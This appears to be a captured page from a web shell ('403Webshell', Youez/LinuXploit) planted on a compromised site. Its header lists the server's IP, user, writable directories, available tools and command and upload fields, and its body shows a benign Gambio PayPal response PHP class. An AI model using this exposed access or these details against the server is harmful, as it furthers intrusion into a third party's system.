403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/external/paypal3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/external/paypal3/PayPalRestResponse.inc.php
<?php
/* --------------------------------------------------------------
	PayPalRestResponse.inc.php 2017-01-25
	Gambio GmbH
	http://www.gambio.de
	Copyright (c) 2015 Gambio GmbH
	Released under the GNU General Public License (Version 2)
	[http://www.gnu.org/licenses/gpl-2.0.html]
	--------------------------------------------------------------
*/

/**
 * This class takes care of parsing a response from PayPal REST API, i.e. it decodes the response if the content type is 'application/json'.
 */
class PayPalRestResponse extends RestCurlResponse
{
	/**
	 * @var bool|stdClass $response_object decoded JSON response
	 */
	protected $response_object = false;

	/**
	 * contructor; initializes the PayPalRestResponse from a RestCurlResponse
	 * @param RestCurlResponse $curlresponse raw response from cURL backend
	 */
	public function __construct(RestCurlResponse $curlresponse)
	{
		$this->setResponseCode($curlresponse->getResponseCode());
		$this->setResponseBody($curlresponse->getResponseBody());
		$this->setCurlInfo($curlresponse->getCurlInfo());
		$this->parseResponse();
	}

	/**
	 * returns decoded response body
	 * @return stdClass response data
	 */
	public function getResponseObject()
	{
		return $this->response_object;
	}

	/**
	 * decides how to parse the raw response body based on the MIME type.
	 * Currently only 'application/json' is supported.
	 * @throws Exception if the response indicates an unsupported type
	 */
	protected function parseResponse()
	{
		$curlInfo = $this->getCurlInfo();
		if(stripos($curlInfo['content_type'], 'application/json') !== false)
		{
			$this->response_object = $this->parseJSONResponse();
		}
		else
		{
			if($curlInfo['size_download'] > 0)
			{
				throw new Exception('unsupported response type '.$curlInfo['content_type']);
			}
		}
	}

	/**
	 * parses a JSON response into its stdClass representation
	 * @return bool|stdClass response data or false if parsing fails
	 */
	protected function parseJSONResponse()
	{
		$response_object = json_decode($this->getResponseBody());
		if(json_last_error() === JSON_ERROR_NONE)
		{
			return $response_object;
		}
		return false;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit